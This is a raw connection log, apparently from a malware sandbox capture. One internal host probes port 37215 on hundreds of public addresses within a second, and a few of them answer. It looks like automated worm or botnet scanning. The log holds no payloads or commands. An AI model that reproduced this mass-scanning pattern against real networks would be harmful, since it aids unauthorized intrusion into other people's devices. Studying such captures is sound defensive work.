Nov 19, 2023 09:15:56.638653040 CET	45796	37215	192.168.2.23	156.98.59.237
Nov 19, 2023 09:15:56.638653040 CET	45796	37215	192.168.2.23	197.73.170.189
Nov 19, 2023 09:15:56.638660908 CET	45796	37215	192.168.2.23	197.73.247.121
Nov 19, 2023 09:15:56.638698101 CET	45796	37215	192.168.2.23	41.247.52.234
Nov 19, 2023 09:15:56.638698101 CET	45796	37215	192.168.2.23	41.211.157.224
Nov 19, 2023 09:15:56.638703108 CET	45796	37215	192.168.2.23	41.223.154.145
Nov 19, 2023 09:15:56.638703108 CET	45796	37215	192.168.2.23	41.40.177.121
Nov 19, 2023 09:15:56.638704062 CET	45796	37215	192.168.2.23	197.11.230.206
Nov 19, 2023 09:15:56.638703108 CET	45796	37215	192.168.2.23	156.54.137.79
Nov 19, 2023 09:15:56.638704062 CET	45796	37215	192.168.2.23	41.97.243.46
Nov 19, 2023 09:15:56.638703108 CET	45796	37215	192.168.2.23	197.78.197.22
Nov 19, 2023 09:15:56.638703108 CET	45796	37215	192.168.2.23	156.156.142.29
Nov 19, 2023 09:15:56.638703108 CET	45796	37215	192.168.2.23	156.200.186.209
Nov 19, 2023 09:15:56.638710022 CET	45796	37215	192.168.2.23	197.127.40.62
Nov 19, 2023 09:15:56.638710022 CET	45796	37215	192.168.2.23	197.144.169.36
Nov 19, 2023 09:15:56.638710022 CET	45796	37215	192.168.2.23	156.92.28.252
Nov 19, 2023 09:15:56.638710976 CET	45796	37215	192.168.2.23	156.240.44.141
Nov 19, 2023 09:15:56.638710976 CET	45796	37215	192.168.2.23	197.208.195.0
Nov 19, 2023 09:15:56.638715029 CET	45796	37215	192.168.2.23	197.22.224.168
Nov 19, 2023 09:15:56.638710976 CET	45796	37215	192.168.2.23	197.19.189.112
Nov 19, 2023 09:15:56.638710976 CET	45796	37215	192.168.2.23	156.197.8.35
Nov 19, 2023 09:15:56.638710976 CET	45796	37215	192.168.2.23	156.36.74.5
Nov 19, 2023 09:15:56.638724089 CET	45796	37215	192.168.2.23	156.231.5.184
Nov 19, 2023 09:15:56.638724089 CET	45796	37215	192.168.2.23	156.197.54.180
Nov 19, 2023 09:15:56.638740063 CET	45796	37215	192.168.2.23	197.95.22.107
Nov 19, 2023 09:15:56.638746977 CET	45796	37215	192.168.2.23	197.93.81.192
Nov 19, 2023 09:15:56.638747931 CET	45796	37215	192.168.2.23	41.161.205.190
Nov 19, 2023 09:15:56.638756037 CET	45796	37215	192.168.2.23	41.108.152.11
Nov 19, 2023 09:15:56.638760090 CET	45796	37215	192.168.2.23	156.141.18.14
Nov 19, 2023 09:15:56.638789892 CET	45796	37215	192.168.2.23	41.30.230.103
Nov 19, 2023 09:15:56.638789892 CET	45796	37215	192.168.2.23	41.8.64.58
Nov 19, 2023 09:15:56.638789892 CET	45796	37215	192.168.2.23	156.102.248.193
Nov 19, 2023 09:15:56.638789892 CET	45796	37215	192.168.2.23	41.180.243.141
Nov 19, 2023 09:15:56.638792992 CET	45796	37215	192.168.2.23	156.116.66.186
Nov 19, 2023 09:15:56.638792992 CET	45796	37215	192.168.2.23	41.62.246.92
Nov 19, 2023 09:15:56.638797045 CET	45796	37215	192.168.2.23	156.33.70.71
Nov 19, 2023 09:15:56.638797998 CET	45796	37215	192.168.2.23	41.84.208.82
Nov 19, 2023 09:15:56.638804913 CET	45796	37215	192.168.2.23	156.50.102.86
Nov 19, 2023 09:15:56.638804913 CET	45796	37215	192.168.2.23	41.83.36.74
Nov 19, 2023 09:15:56.638804913 CET	45796	37215	192.168.2.23	41.35.185.91
Nov 19, 2023 09:15:56.638804913 CET	45796	37215	192.168.2.23	41.218.232.54
Nov 19, 2023 09:15:56.638806105 CET	45796	37215	192.168.2.23	156.43.243.174
Nov 19, 2023 09:15:56.638806105 CET	45796	37215	192.168.2.23	197.136.166.30
Nov 19, 2023 09:15:56.638806105 CET	45796	37215	192.168.2.23	156.217.39.156
Nov 19, 2023 09:15:56.638808966 CET	45796	37215	192.168.2.23	197.63.227.11
Nov 19, 2023 09:15:56.638806105 CET	45796	37215	192.168.2.23	156.113.239.207
Nov 19, 2023 09:15:56.638808966 CET	45796	37215	192.168.2.23	41.196.8.199
Nov 19, 2023 09:15:56.638808966 CET	45796	37215	192.168.2.23	156.85.201.5
Nov 19, 2023 09:15:56.638808966 CET	45796	37215	192.168.2.23	197.72.21.64
Nov 19, 2023 09:15:56.638808966 CET	45796	37215	192.168.2.23	41.30.222.60
Nov 19, 2023 09:15:56.638809919 CET	45796	37215	192.168.2.23	156.82.64.238
Nov 19, 2023 09:15:56.638817072 CET	45796	37215	192.168.2.23	197.204.40.161
Nov 19, 2023 09:15:56.638818979 CET	45796	37215	192.168.2.23	41.86.234.181
Nov 19, 2023 09:15:56.638825893 CET	45796	37215	192.168.2.23	197.58.120.0
Nov 19, 2023 09:15:56.638825893 CET	45796	37215	192.168.2.23	197.78.169.106
Nov 19, 2023 09:15:56.638830900 CET	45796	37215	192.168.2.23	197.171.140.78
Nov 19, 2023 09:15:56.638830900 CET	45796	37215	192.168.2.23	156.133.214.103
Nov 19, 2023 09:15:56.638830900 CET	45796	37215	192.168.2.23	41.139.160.232
Nov 19, 2023 09:15:56.638844013 CET	45796	37215	192.168.2.23	197.135.108.125
Nov 19, 2023 09:15:56.638848066 CET	45796	37215	192.168.2.23	41.94.50.120
Nov 19, 2023 09:15:56.638866901 CET	45796	37215	192.168.2.23	197.43.174.140
Nov 19, 2023 09:15:56.638870955 CET	45796	37215	192.168.2.23	197.12.178.248
Nov 19, 2023 09:15:56.638880968 CET	45796	37215	192.168.2.23	156.161.221.253
Nov 19, 2023 09:15:56.638881922 CET	45796	37215	192.168.2.23	156.126.48.98
Nov 19, 2023 09:15:56.638883114 CET	45796	37215	192.168.2.23	197.132.150.76
Nov 19, 2023 09:15:56.638889074 CET	45796	37215	192.168.2.23	156.18.185.227
Nov 19, 2023 09:15:56.638889074 CET	45796	37215	192.168.2.23	197.115.67.87
Nov 19, 2023 09:15:56.638889074 CET	45796	37215	192.168.2.23	156.23.145.67
Nov 19, 2023 09:15:56.638889074 CET	45796	37215	192.168.2.23	197.158.99.101
Nov 19, 2023 09:15:56.638890982 CET	45796	37215	192.168.2.23	156.249.244.185
Nov 19, 2023 09:15:56.638889074 CET	45796	37215	192.168.2.23	41.92.153.166
Nov 19, 2023 09:15:56.638890028 CET	45796	37215	192.168.2.23	41.166.148.139
Nov 19, 2023 09:15:56.638896942 CET	45796	37215	192.168.2.23	197.222.223.197
Nov 19, 2023 09:15:56.638896942 CET	45796	37215	192.168.2.23	41.98.165.114
Nov 19, 2023 09:15:56.638897896 CET	45796	37215	192.168.2.23	41.31.105.119
Nov 19, 2023 09:15:56.638897896 CET	45796	37215	192.168.2.23	41.253.239.120
Nov 19, 2023 09:15:56.638900995 CET	45796	37215	192.168.2.23	197.23.5.94
Nov 19, 2023 09:15:56.638906956 CET	45796	37215	192.168.2.23	41.185.208.6
Nov 19, 2023 09:15:56.638916016 CET	45796	37215	192.168.2.23	156.98.24.230
Nov 19, 2023 09:15:56.638917923 CET	45796	37215	192.168.2.23	156.176.13.237
Nov 19, 2023 09:15:56.638919115 CET	45796	37215	192.168.2.23	197.66.152.240
Nov 19, 2023 09:15:56.638921022 CET	45796	37215	192.168.2.23	156.129.29.180
Nov 19, 2023 09:15:56.638920069 CET	45796	37215	192.168.2.23	156.101.142.203
Nov 19, 2023 09:15:56.638921022 CET	45796	37215	192.168.2.23	197.169.209.162
Nov 19, 2023 09:15:56.638920069 CET	45796	37215	192.168.2.23	41.221.156.166
Nov 19, 2023 09:15:56.638921022 CET	45796	37215	192.168.2.23	197.201.39.165
Nov 19, 2023 09:15:56.638921022 CET	45796	37215	192.168.2.23	197.76.21.38
Nov 19, 2023 09:15:56.638938904 CET	45796	37215	192.168.2.23	197.75.108.223
Nov 19, 2023 09:15:56.638948917 CET	45796	37215	192.168.2.23	41.40.135.240
Nov 19, 2023 09:15:56.638950109 CET	45796	37215	192.168.2.23	156.75.78.119
Nov 19, 2023 09:15:56.638948917 CET	45796	37215	192.168.2.23	197.223.162.135
Nov 19, 2023 09:15:56.638956070 CET	45796	37215	192.168.2.23	197.44.171.162
Nov 19, 2023 09:15:56.638957024 CET	45796	37215	192.168.2.23	197.121.179.144
Nov 19, 2023 09:15:56.638961077 CET	45796	37215	192.168.2.23	156.18.138.227
Nov 19, 2023 09:15:56.638963938 CET	45796	37215	192.168.2.23	156.100.162.56
Nov 19, 2023 09:15:56.847465992 CET	37215	45796	197.128.69.193	192.168.2.23
Nov 19, 2023 09:15:56.930980921 CET	37215	45796	156.236.77.245	192.168.2.23
Nov 19, 2023 09:15:56.952333927 CET	37215	45796	156.234.20.90	192.168.2.23
Nov 19, 2023 09:15:56.955226898 CET	37215	45796	156.234.114.213	192.168.2.23
Nov 19, 2023 09:15:56.955687046 CET	37215	45796	197.8.255.20	192.168.2.23
Nov 19, 2023 09:15:56.959666967 CET	37215	45796	197.254.2.11	192.168.2.23
Nov 19, 2023 09:15:56.981604099 CET	37215	45796	197.7.47.1	192.168.2.23
Nov 19, 2023 09:15:56.986776114 CET	45796	37215	192.168.2.23	197.7.47.1
Nov 19, 2023 09:15:56.988753080 CET	37215	45796	197.7.47.1	192.168.2.23
Nov 19, 2023 09:15:57.018893003 CET	37215	45796	41.60.238.167	192.168.2.23
Nov 19, 2023 09:15:57.023194075 CET	37215	45796	156.241.81.49	192.168.2.23
Nov 19, 2023 09:15:57.023252010 CET	45796	37215	192.168.2.23	156.241.81.49
Nov 19, 2023 09:15:57.351974010 CET	37215	45796	197.7.81.43	192.168.2.23
Nov 19, 2023 09:15:57.351996899 CET	37215	45796	197.7.81.43	192.168.2.23
Nov 19, 2023 09:15:57.352061033 CET	45796	37215	192.168.2.23	197.7.81.43
Nov 19, 2023 09:15:57.640070915 CET	45796	37215	192.168.2.23	197.140.185.7
Nov 19, 2023 09:15:57.640100956 CET	45796	37215	192.168.2.23	197.44.218.76
Nov 19, 2023 09:15:57.640126944 CET	45796	37215	192.168.2.23	156.126.4.112
Nov 19, 2023 09:15:57.640151978 CET	45796	37215	192.168.2.23	41.141.194.198
Nov 19, 2023 09:15:57.640178919 CET	45796	37215	192.168.2.23	156.138.106.127
Nov 19, 2023 09:15:57.640203953 CET	45796	37215	192.168.2.23	197.127.198.245
Nov 19, 2023 09:15:57.640235901 CET	45796	37215	192.168.2.23	156.42.113.168
Nov 19, 2023 09:15:57.640281916 CET	45796	37215	192.168.2.23	197.34.177.9
Nov 19, 2023 09:15:57.640320063 CET	45796	37215	192.168.2.23	41.155.205.46
Nov 19, 2023 09:15:57.640326023 CET	45796	37215	192.168.2.23	197.49.157.46
Nov 19, 2023 09:15:57.640355110 CET	45796	37215	192.168.2.23	197.98.252.132
Nov 19, 2023 09:15:57.640391111 CET	45796	37215	192.168.2.23	197.40.139.131
Nov 19, 2023 09:15:57.640389919 CET	45796	37215	192.168.2.23	41.42.200.49
Nov 19, 2023 09:15:57.640430927 CET	45796	37215	192.168.2.23	197.42.224.212
Nov 19, 2023 09:15:57.640433073 CET	45796	37215	192.168.2.23	156.140.102.156
Nov 19, 2023 09:15:57.640463114 CET	45796	37215	192.168.2.23	156.49.172.63
Nov 19, 2023 09:15:57.640471935 CET	45796	37215	192.168.2.23	41.56.179.190
Nov 19, 2023 09:15:57.640501022 CET	45796	37215	192.168.2.23	197.33.121.92
Nov 19, 2023 09:15:57.640501022 CET	45796	37215	192.168.2.23	197.220.2.74
Nov 19, 2023 09:15:57.640501976 CET	45796	37215	192.168.2.23	156.167.241.177
Nov 19, 2023 09:15:57.640520096 CET	45796	37215	192.168.2.23	156.182.239.149
Nov 19, 2023 09:15:57.640531063 CET	45796	37215	192.168.2.23	41.22.163.140
Nov 19, 2023 09:15:57.640533924 CET	45796	37215	192.168.2.23	156.212.178.157
Nov 19, 2023 09:15:57.640533924 CET	45796	37215	192.168.2.23	197.188.28.233
Nov 19, 2023 09:15:57.640533924 CET	45796	37215	192.168.2.23	156.109.163.143
Nov 19, 2023 09:15:57.640542030 CET	45796	37215	192.168.2.23	41.199.139.168
Nov 19, 2023 09:15:57.640559912 CET	45796	37215	192.168.2.23	41.204.64.162
Nov 19, 2023 09:15:57.640577078 CET	45796	37215	192.168.2.23	156.241.98.118
Nov 19, 2023 09:15:57.640583038 CET	45796	37215	192.168.2.23	41.39.112.119
Nov 19, 2023 09:15:57.640589952 CET	45796	37215	192.168.2.23	156.80.98.196
Nov 19, 2023 09:15:57.640592098 CET	45796	37215	192.168.2.23	197.89.45.107
Nov 19, 2023 09:15:57.640604973 CET	45796	37215	192.168.2.23	41.6.89.54
Nov 19, 2023 09:15:57.640609026 CET	45796	37215	192.168.2.23	197.122.170.203
Nov 19, 2023 09:15:57.640619040 CET	45796	37215	192.168.2.23	41.146.230.82
Nov 19, 2023 09:15:57.640631914 CET	45796	37215	192.168.2.23	41.232.197.243
Nov 19, 2023 09:15:57.640635967 CET	45796	37215	192.168.2.23	41.120.116.172
Nov 19, 2023 09:15:57.640664101 CET	45796	37215	192.168.2.23	156.151.202.37
Nov 19, 2023 09:15:57.640664101 CET	45796	37215	192.168.2.23	41.46.112.233
Nov 19, 2023 09:15:57.640665054 CET	45796	37215	192.168.2.23	156.73.6.53
Nov 19, 2023 09:15:57.640666008 CET	45796	37215	192.168.2.23	197.97.152.96
Nov 19, 2023 09:15:57.640665054 CET	45796	37215	192.168.2.23	156.240.230.49
Nov 19, 2023 09:15:57.640669107 CET	45796	37215	192.168.2.23	156.144.85.203
Nov 19, 2023 09:15:57.640669107 CET	45796	37215	192.168.2.23	156.17.64.65
Nov 19, 2023 09:15:57.640685081 CET	45796	37215	192.168.2.23	41.173.234.126
Nov 19, 2023 09:15:57.640686035 CET	45796	37215	192.168.2.23	41.199.61.161
Nov 19, 2023 09:15:57.640691042 CET	45796	37215	192.168.2.23	41.192.200.27
Nov 19, 2023 09:15:57.640691042 CET	45796	37215	192.168.2.23	197.127.53.72
Nov 19, 2023 09:15:57.640698910 CET	45796	37215	192.168.2.23	197.25.211.129
Nov 19, 2023 09:15:57.640698910 CET	45796	37215	192.168.2.23	41.242.236.113
Nov 19, 2023 09:15:57.640706062 CET	45796	37215	192.168.2.23	156.248.156.172
Nov 19, 2023 09:15:57.640706062 CET	45796	37215	192.168.2.23	156.101.162.138
Nov 19, 2023 09:15:57.640706062 CET	45796	37215	192.168.2.23	197.181.188.137
Nov 19, 2023 09:15:57.640708923 CET	45796	37215	192.168.2.23	197.255.115.129
Nov 19, 2023 09:15:57.640708923 CET	45796	37215	192.168.2.23	156.0.219.250
Nov 19, 2023 09:15:57.640710115 CET	45796	37215	192.168.2.23	41.155.110.181
Nov 19, 2023 09:15:57.640710115 CET	45796	37215	192.168.2.23	197.250.247.71
Nov 19, 2023 09:15:57.640718937 CET	45796	37215	192.168.2.23	156.160.13.141
Nov 19, 2023 09:15:57.640718937 CET	45796	37215	192.168.2.23	41.182.166.122
Nov 19, 2023 09:15:57.640722036 CET	45796	37215	192.168.2.23	197.2.0.194
Nov 19, 2023 09:15:57.640726089 CET	45796	37215	192.168.2.23	197.250.136.128
Nov 19, 2023 09:15:57.640726089 CET	45796	37215	192.168.2.23	156.196.15.238
Nov 19, 2023 09:15:57.640728951 CET	45796	37215	192.168.2.23	156.195.123.106
Nov 19, 2023 09:15:57.640739918 CET	45796	37215	192.168.2.23	197.66.196.71
Nov 19, 2023 09:15:57.640739918 CET	45796	37215	192.168.2.23	156.103.85.20
Nov 19, 2023 09:15:57.640746117 CET	45796	37215	192.168.2.23	156.174.40.33
Nov 19, 2023 09:15:57.640746117 CET	45796	37215	192.168.2.23	197.108.171.169
Nov 19, 2023 09:15:57.640754938 CET	45796	37215	192.168.2.23	156.104.58.136
Nov 19, 2023 09:15:57.640778065 CET	45796	37215	192.168.2.23	156.108.133.238
Nov 19, 2023 09:15:57.640778065 CET	45796	37215	192.168.2.23	197.219.252.216
Nov 19, 2023 09:15:57.640778065 CET	45796	37215	192.168.2.23	41.79.83.210
Nov 19, 2023 09:15:57.640779018 CET	45796	37215	192.168.2.23	41.13.56.197
Nov 19, 2023 09:15:57.640779018 CET	45796	37215	192.168.2.23	197.208.99.75
Nov 19, 2023 09:15:57.640780926 CET	45796	37215	192.168.2.23	156.85.190.247
Nov 19, 2023 09:15:57.640780926 CET	45796	37215	192.168.2.23	41.27.120.56
Nov 19, 2023 09:15:57.640784025 CET	45796	37215	192.168.2.23	156.183.136.122
Nov 19, 2023 09:15:57.640784979 CET	45796	37215	192.168.2.23	41.189.94.106
Nov 19, 2023 09:15:57.640784979 CET	45796	37215	192.168.2.23	197.181.86.138
Nov 19, 2023 09:15:57.640795946 CET	45796	37215	192.168.2.23	197.236.152.63
Nov 19, 2023 09:15:57.640795946 CET	45796	37215	192.168.2.23	197.119.215.143
Nov 19, 2023 09:15:57.640799999 CET	45796	37215	192.168.2.23	41.150.110.248
Nov 19, 2023 09:15:57.640799999 CET	45796	37215	192.168.2.23	197.62.90.135
Nov 19, 2023 09:15:57.640801907 CET	45796	37215	192.168.2.23	197.147.79.236
Nov 19, 2023 09:15:57.640808105 CET	45796	37215	192.168.2.23	41.207.138.17
Nov 19, 2023 09:15:57.640808105 CET	45796	37215	192.168.2.23	197.187.24.50
Nov 19, 2023 09:15:57.640830040 CET	45796	37215	192.168.2.23	41.165.7.197
Nov 19, 2023 09:15:57.640830040 CET	45796	37215	192.168.2.23	156.166.106.35
Nov 19, 2023 09:15:57.640845060 CET	45796	37215	192.168.2.23	156.92.189.106
Nov 19, 2023 09:15:57.640845060 CET	45796	37215	192.168.2.23	197.39.186.59
Nov 19, 2023 09:15:57.640846014 CET	45796	37215	192.168.2.23	41.217.242.225
Nov 19, 2023 09:15:57.640845060 CET	45796	37215	192.168.2.23	41.239.165.121
Nov 19, 2023 09:15:57.640845060 CET	45796	37215	192.168.2.23	41.48.122.120
Nov 19, 2023 09:15:57.640858889 CET	45796	37215	192.168.2.23	156.241.149.14
Nov 19, 2023 09:15:57.640860081 CET	45796	37215	192.168.2.23	156.91.87.116
Nov 19, 2023 09:15:57.640862942 CET	45796	37215	192.168.2.23	156.57.87.232
Nov 19, 2023 09:15:57.640862942 CET	45796	37215	192.168.2.23	41.30.48.105
Nov 19, 2023 09:15:57.640862942 CET	45796	37215	192.168.2.23	156.21.152.132
Nov 19, 2023 09:15:57.640862942 CET	45796	37215	192.168.2.23	41.140.57.38
Nov 19, 2023 09:15:57.640863895 CET	45796	37215	192.168.2.23	156.135.27.73
Nov 19, 2023 09:15:57.640870094 CET	45796	37215	192.168.2.23	197.53.124.99
Nov 19, 2023 09:15:57.640871048 CET	45796	37215	192.168.2.23	41.192.239.22
Nov 19, 2023 09:15:57.640870094 CET	45796	37215	192.168.2.23	197.169.134.118
Nov 19, 2023 09:15:57.640871048 CET	45796	37215	192.168.2.23	41.181.235.216
Nov 19, 2023 09:15:57.640871048 CET	45796	37215	192.168.2.23	41.227.132.27
Nov 19, 2023 09:15:57.640871048 CET	45796	37215	192.168.2.23	41.129.185.40
Nov 19, 2023 09:15:57.640877962 CET	45796	37215	192.168.2.23	156.205.244.129
Nov 19, 2023 09:15:57.640877962 CET	45796	37215	192.168.2.23	156.246.111.158
Nov 19, 2023 09:15:57.640880108 CET	45796	37215	192.168.2.23	156.222.153.231
Nov 19, 2023 09:15:57.640871048 CET	45796	37215	192.168.2.23	41.168.183.101
Nov 19, 2023 09:15:57.640880108 CET	45796	37215	192.168.2.23	197.39.4.212
Nov 19, 2023 09:15:57.640882969 CET	45796	37215	192.168.2.23	41.16.198.53
Nov 19, 2023 09:15:57.640880108 CET	45796	37215	192.168.2.23	197.191.202.139
Nov 19, 2023 09:15:57.640882969 CET	45796	37215	192.168.2.23	156.213.242.87
Nov 19, 2023 09:15:57.640871048 CET	45796	37215	192.168.2.23	41.155.113.162
Nov 19, 2023 09:15:57.640882969 CET	45796	37215	192.168.2.23	41.118.14.164
Nov 19, 2023 09:15:57.640871048 CET	45796	37215	192.168.2.23	41.203.137.33
Nov 19, 2023 09:15:57.640882969 CET	45796	37215	192.168.2.23	197.163.239.145
Nov 19, 2023 09:15:57.640886068 CET	45796	37215	192.168.2.23	41.125.229.145
Nov 19, 2023 09:15:57.640889883 CET	45796	37215	192.168.2.23	156.121.154.46
Nov 19, 2023 09:15:57.640886068 CET	45796	37215	192.168.2.23	156.76.133.134
Nov 19, 2023 09:15:57.640889883 CET	45796	37215	192.168.2.23	41.245.5.248
Nov 19, 2023 09:15:57.640887022 CET	45796	37215	192.168.2.23	156.240.255.196
Nov 19, 2023 09:15:57.640896082 CET	45796	37215	192.168.2.23	156.17.68.117
Nov 19, 2023 09:15:57.640887022 CET	45796	37215	192.168.2.23	197.165.73.213
Nov 19, 2023 09:15:57.640896082 CET	45796	37215	192.168.2.23	41.239.79.47
Nov 19, 2023 09:15:57.640889883 CET	45796	37215	192.168.2.23	41.227.7.160
Nov 19, 2023 09:15:57.640877962 CET	45796	37215	192.168.2.23	41.64.222.157
Nov 19, 2023 09:15:57.640872002 CET	45796	37215	192.168.2.23	41.157.209.206
Nov 19, 2023 09:15:57.640877962 CET	45796	37215	192.168.2.23	41.223.204.207
Nov 19, 2023 09:15:57.640896082 CET	45796	37215	192.168.2.23	197.178.185.46
Nov 19, 2023 09:15:57.640872002 CET	45796	37215	192.168.2.23	197.60.170.165
Nov 19, 2023 09:15:57.640887022 CET	45796	37215	192.168.2.23	41.121.174.102
Nov 19, 2023 09:15:57.640877962 CET	45796	37215	192.168.2.23	41.67.40.8
Nov 19, 2023 09:15:57.640887022 CET	45796	37215	192.168.2.23	41.227.131.104
Nov 19, 2023 09:15:57.640872002 CET	45796	37215	192.168.2.23	156.25.41.108
Nov 19, 2023 09:15:57.640887022 CET	45796	37215	192.168.2.23	156.91.226.144
Nov 19, 2023 09:15:57.640887022 CET	45796	37215	192.168.2.23	197.145.9.104
Nov 19, 2023 09:15:57.640917063 CET	45796	37215	192.168.2.23	197.200.227.86
Nov 19, 2023 09:15:57.640917063 CET	45796	37215	192.168.2.23	156.224.50.63
Nov 19, 2023 09:15:57.640917063 CET	45796	37215	192.168.2.23	156.180.119.177
Nov 19, 2023 09:15:57.640919924 CET	45796	37215	192.168.2.23	156.138.159.169
Nov 19, 2023 09:15:57.640919924 CET	45796	37215	192.168.2.23	197.178.50.119
Nov 19, 2023 09:15:57.640919924 CET	45796	37215	192.168.2.23	197.96.188.2
Nov 19, 2023 09:15:57.640921116 CET	45796	37215	192.168.2.23	41.18.116.31
Nov 19, 2023 09:15:57.640940905 CET	45796	37215	192.168.2.23	41.155.12.237
Nov 19, 2023 09:15:57.640940905 CET	45796	37215	192.168.2.23	197.42.130.97
Nov 19, 2023 09:15:57.640942097 CET	45796	37215	192.168.2.23	156.158.174.32
Nov 19, 2023 09:15:57.640942097 CET	45796	37215	192.168.2.23	197.41.238.25
Nov 19, 2023 09:15:57.640942097 CET	45796	37215	192.168.2.23	197.106.185.217
Nov 19, 2023 09:15:57.640942097 CET	45796	37215	192.168.2.23	41.169.159.4
Nov 19, 2023 09:15:57.640942097 CET	45796	37215	192.168.2.23	156.180.240.170
Nov 19, 2023 09:15:57.640942097 CET	45796	37215	192.168.2.23	156.197.81.155
Nov 19, 2023 09:15:57.640942097 CET	45796	37215	192.168.2.23	41.154.173.148
Nov 19, 2023 09:15:57.640942097 CET	45796	37215	192.168.2.23	197.131.143.223
Nov 19, 2023 09:15:57.640950918 CET	45796	37215	192.168.2.23	197.158.24.99
Nov 19, 2023 09:15:57.640949011 CET	45796	37215	192.168.2.23	41.65.228.138
Nov 19, 2023 09:15:57.640949965 CET	45796	37215	192.168.2.23	197.77.7.111
Nov 19, 2023 09:15:57.640949965 CET	45796	37215	192.168.2.23	197.221.82.121
Nov 19, 2023 09:15:57.640949965 CET	45796	37215	192.168.2.23	41.129.173.180
Nov 19, 2023 09:15:57.640949965 CET	45796	37215	192.168.2.23	156.13.5.82
Nov 19, 2023 09:15:57.640949965 CET	45796	37215	192.168.2.23	156.74.193.21
Nov 19, 2023 09:15:57.640949965 CET	45796	37215	192.168.2.23	156.172.254.248
Nov 19, 2023 09:15:57.640949965 CET	45796	37215	192.168.2.23	41.233.169.1
Nov 19, 2023 09:15:57.640973091 CET	45796	37215	192.168.2.23	41.99.167.225
Nov 19, 2023 09:15:57.640973091 CET	45796	37215	192.168.2.23	41.117.9.227
Nov 19, 2023 09:15:57.640973091 CET	45796	37215	192.168.2.23	197.8.43.155
Nov 19, 2023 09:15:57.640973091 CET	45796	37215	192.168.2.23	197.187.104.1
Nov 19, 2023 09:15:57.640973091 CET	45796	37215	192.168.2.23	41.0.136.81
Nov 19, 2023 09:15:57.641002893 CET	45796	37215	192.168.2.23	41.109.142.63
Nov 19, 2023 09:15:57.641009092 CET	45796	37215	192.168.2.23	156.17.7.213
Nov 19, 2023 09:15:57.641009092 CET	45796	37215	192.168.2.23	156.79.28.212
Nov 19, 2023 09:15:57.641031027 CET	45796	37215	192.168.2.23	197.80.216.167
Nov 19, 2023 09:15:57.641031027 CET	45796	37215	192.168.2.23	197.75.215.134
Nov 19, 2023 09:15:57.641031027 CET	45796	37215	192.168.2.23	156.237.8.14
Nov 19, 2023 09:15:57.641031027 CET	45796	37215	192.168.2.23	156.9.54.138
Nov 19, 2023 09:15:57.641031027 CET	45796	37215	192.168.2.23	197.233.9.233
Nov 19, 2023 09:15:57.641031981 CET	45796	37215	192.168.2.23	156.70.249.236
Nov 19, 2023 09:15:57.641047955 CET	45796	37215	192.168.2.23	197.168.193.238
Nov 19, 2023 09:15:57.641047955 CET	45796	37215	192.168.2.23	156.178.66.218
Nov 19, 2023 09:15:57.641050100 CET	45796	37215	192.168.2.23	156.14.0.94
Nov 19, 2023 09:15:57.641047955 CET	45796	37215	192.168.2.23	197.197.235.158
Nov 19, 2023 09:15:57.641047955 CET	45796	37215	192.168.2.23	41.31.227.220
Nov 19, 2023 09:15:57.641050100 CET	45796	37215	192.168.2.23	197.141.232.148
Nov 19, 2023 09:15:57.641052961 CET	45796	37215	192.168.2.23	197.74.74.106
Nov 19, 2023 09:15:57.641047955 CET	45796	37215	192.168.2.23	197.21.70.164
Nov 19, 2023 09:15:57.641047955 CET	45796	37215	192.168.2.23	41.229.138.138
Nov 19, 2023 09:15:57.641052961 CET	45796	37215	192.168.2.23	41.101.63.75
Nov 19, 2023 09:15:57.641048908 CET	45796	37215	192.168.2.23	41.62.107.68
Nov 19, 2023 09:15:57.641052961 CET	45796	37215	192.168.2.23	41.11.50.209
Nov 19, 2023 09:15:57.641050100 CET	45796	37215	192.168.2.23	197.221.250.152
Nov 19, 2023 09:15:57.641053915 CET	45796	37215	192.168.2.23	197.252.125.28
Nov 19, 2023 09:15:57.641050100 CET	45796	37215	192.168.2.23	156.240.213.204
Nov 19, 2023 09:15:57.641053915 CET	45796	37215	192.168.2.23	41.19.221.29
Nov 19, 2023 09:15:57.641050100 CET	45796	37215	192.168.2.23	156.1.29.95
Nov 19, 2023 09:15:57.641050100 CET	45796	37215	192.168.2.23	156.93.139.194
Nov 19, 2023 09:15:57.641050100 CET	45796	37215	192.168.2.23	156.193.53.114
Nov 19, 2023 09:15:57.641050100 CET	45796	37215	192.168.2.23	197.242.126.179
Nov 19, 2023 09:15:57.641050100 CET	45796	37215	192.168.2.23	156.125.51.22
Nov 19, 2023 09:15:57.641050100 CET	45796	37215	192.168.2.23	156.219.111.193
Nov 19, 2023 09:15:57.641067028 CET	45796	37215	192.168.2.23	197.92.79.7
Nov 19, 2023 09:15:57.641067028 CET	45796	37215	192.168.2.23	197.10.39.7
Nov 19, 2023 09:15:57.641067028 CET	45796	37215	192.168.2.23	41.208.117.195
Nov 19, 2023 09:15:57.641067028 CET	45796	37215	192.168.2.23	156.48.114.244
Nov 19, 2023 09:15:57.641067028 CET	45796	37215	192.168.2.23	156.79.15.148
Nov 19, 2023 09:15:57.641067028 CET	45796	37215	192.168.2.23	197.31.84.31
Nov 19, 2023 09:15:57.641096115 CET	45796	37215	192.168.2.23	41.106.193.207
Nov 19, 2023 09:15:57.641096115 CET	45796	37215	192.168.2.23	156.184.65.134
Nov 19, 2023 09:15:57.641096115 CET	45796	37215	192.168.2.23	41.1.71.246
Nov 19, 2023 09:15:57.641096115 CET	45796	37215	192.168.2.23	156.31.226.106
Nov 19, 2023 09:15:57.641096115 CET	45796	37215	192.168.2.23	41.173.84.207
Nov 19, 2023 09:15:57.641097069 CET	45796	37215	192.168.2.23	156.164.199.13
Nov 19, 2023 09:15:57.641096115 CET	45796	37215	192.168.2.23	197.209.199.52
Nov 19, 2023 09:15:57.641097069 CET	45796	37215	192.168.2.23	41.56.153.207
Nov 19, 2023 09:15:57.641097069 CET	45796	37215	192.168.2.23	156.4.154.12
Nov 19, 2023 09:15:57.641097069 CET	45796	37215	192.168.2.23	41.83.104.223
Nov 19, 2023 09:15:57.641104937 CET	45796	37215	192.168.2.23	156.90.239.92
Nov 19, 2023 09:15:57.641104937 CET	45796	37215	192.168.2.23	156.134.211.241
Nov 19, 2023 09:15:57.641104937 CET	45796	37215	192.168.2.23	41.101.100.165
Nov 19, 2023 09:15:57.641104937 CET	45796	37215	192.168.2.23	41.24.70.10
Nov 19, 2023 09:15:57.641104937 CET	45796	37215	192.168.2.23	41.10.175.218
Nov 19, 2023 09:15:57.641104937 CET	45796	37215	192.168.2.23	156.252.211.217
Nov 19, 2023 09:15:57.641120911 CET	45796	37215	192.168.2.23	197.125.150.132
Nov 19, 2023 09:15:57.641120911 CET	45796	37215	192.168.2.23	156.98.39.144
Nov 19, 2023 09:15:57.641120911 CET	45796	37215	192.168.2.23	41.69.35.250
